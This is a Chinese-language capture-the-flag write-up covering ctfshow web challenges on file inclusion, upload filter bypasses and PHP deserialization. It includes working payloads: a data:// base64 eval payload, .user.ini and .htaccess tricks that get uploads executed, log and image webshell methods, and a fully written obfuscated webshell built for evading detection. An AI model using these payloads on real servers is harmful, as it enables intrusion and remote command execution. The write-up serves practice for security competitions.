前言:
之前刷过没做记录,这次备赛国赛半决做一下深度攻防
文件包含
web78

web79
1 | $file = str_replace("php", "???", $file); |

web80
1 | $file = str_replace("php", "???", $file); |

用大小写绕过php

web81
1 | $file = str_replace("php", "???", $file); |

web82
1 | $file = str_replace("php", "???", $file); |
web85
1 | $file = str_replace("php", "???", $file); |
web87
1 | $file = str_replace("php", "???", $file); |
1 | //双重url编码 |


web88
1 | if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } |
1 | ?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4&1=system(%27tac+fl0g.php%27); |

web116
用formost提取png


web117
1 | function filter($x){ |
利用iconv过滤器进行字符编码转换(UCS-2LE → UCS-2BE)


文件上传
web151
随便上传个png文件抓包后将后缀改为php即可

用蚁剑抓包(注意要将https改为http否则连不上)

web152
一样

web153
bp抓包可知是nginx,并且不限制.ini,上传.user.ini
1 | auto_prepend_file=shell.png |
上传木马shell.png
连接蚁剑,访问upload/目录即可

web154
内容中不能有php,用短标签绕过


web155
同上

web156
过滤了php、[]
过滤了[]直接用{}绕过


web157
过滤了php、[]、;
直接用system()


web158
同上

web159
过滤了php、[]、;、()
用``也可以直接命令执行,可以绕过()
``是shell_exec()的简化形式


web160
过滤了php、[]、;、()、`、log、空格
用inculde包含/var/log/nginx/access.log实现ua头木马写入
但是发现log也被过滤了,所以用.来分隔绕过

上传.user.ini

获取flag

也可以用蚁剑连接

web161
过滤了php、[]、;、()、`、log、空格
添加了文件头验证
用GIF89a绕过,其余操作同上


web162
过滤了php、[]、;、()、`、log、空格、.
第一种绕过方法:异或构造.
s的ASCII为0x73,]的ASCII为0x5d,异或0x73 ^ 0x5d = 0x2e,ASCII 对应 .
闲麻烦这里可以直接将文件名命名为1

上传.user.ini

第二种方法:用data伪协议+16进制
1 | php eval($_POST[1]); |


web163
1 | if ($_FILES["file"]["error"] > 0) |
远程文件包含
由于点被过滤了,所以先转化一下ip
1 | # IP转换为长整型 |

连接蚁剑

查看php.ini可知allow_url_fopen和allow_url_include都是On,所以可以远程文件包含

这题其实还可以用162的payload打条件竞争,但是测试环境是有时间段的我这里就懒得搞了
web164
1 | //download.php |
imagecreatefrompng()会验证是不是真实图片图片
构造图片马
1 | from PIL import Image |

这里如果直接用echo写入<?php eval($_POST[1]);?>没法命令执行,会直接变成<?php eval([1]);?>,写入<?php system("cat upload.php")?>会变成<?php system(cat upload.php)?>,但是我用phpinfo()看php.ini又没有什么问题。这题迷的很我也不知道啥原因
web165
1 | //download.php |
这题需要多用不同的jpg文件尝试,网上说这张图片成功率高(确实)

先上传一遍让浏览器渲染一下,然后将上传的图片下载下来
生成jpg图片马
1 | import os |
上传后用蚁剑即可连接

web166
1 | //upload/download.php |
前端只允许上传zip,在zip末尾加上一句话木马

先上传一个有问题的zip文件,点击下载可以看到路径(正确的zip文件点击下载就下载了)

上传zip后抓包查看zip文件名,接着替换路径的zip名用蚁剑连接

web167
1 | if ($_FILES["file"]["error"] > 0) |
发现可以上传jpg文件,上传.htaccess将jpg文件识别为php文件
1 | <FilesMatch ".jpg"> |

这题虽然抓包看是nginx的,但是apache服务确实开着

web168
1 | if ($_FILES["file"]["error"] > 0) |
对文件内容进行了过滤,找了一个免杀马
1 | $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.'')); |

php反序列化
web254
就是验证用户名和密码,也不需要反序列化

web255
1 |
|
改vip属性

web256
1 |
|
改vip属性,让username不等于password

web257
1 |
|
serialize()会触发__construct(),从而实例化info();
我们将info()改为backDoor()即可实例化backDoor(),从而到达eval()实现命令执行

web258
1 |
|
跟上一题一样,但是多了一个正则,o:和c:后面不能直接跟数字,所以需要用+绕过

web259
1 | // flag.php |
利用SoapClient类构造一个post请求,使得ip=127.0.0.1,并且携带token=”ctfshow”。(注意这里的php版本不要超过7.x)
1 |
|
接着再访问flag.txt即可得到flag

web260

web261
1 |
|
eval()需要触发__invoke(),但是并没有把对象当成函数调用,没有条件能触发所以是个幌子,真正的利用点应该是利用file_put_contents()写入木马
由于code要等于0x36d,转化为十进制就是877,所以将文件名赋值为877.php

web262
1 |
|
头部注释有一个message.php

web263(awdp)
1 | // sql注入检查 |
1 | /*生成唯一标志 |

下载源码做代码审计,大概可以猜到漏洞点应该是需要利用file_put_contents()写入一句话木马

但是并没有找到unserialize(),发现有session_start(),那么这题应该是session反序列化了
session_start()重用现有对话的时候就会调用open,read回调函数。也就是说read回调函数会对session文件里面的序列化字符进行反序列化
1 |
|
多发几次包(一次没法触发)传入Cookie

利用check.php触发inc/inc.php的反序列化写入一句话木马

访问log-1.php可以访问就写入成功了

jwt
web345

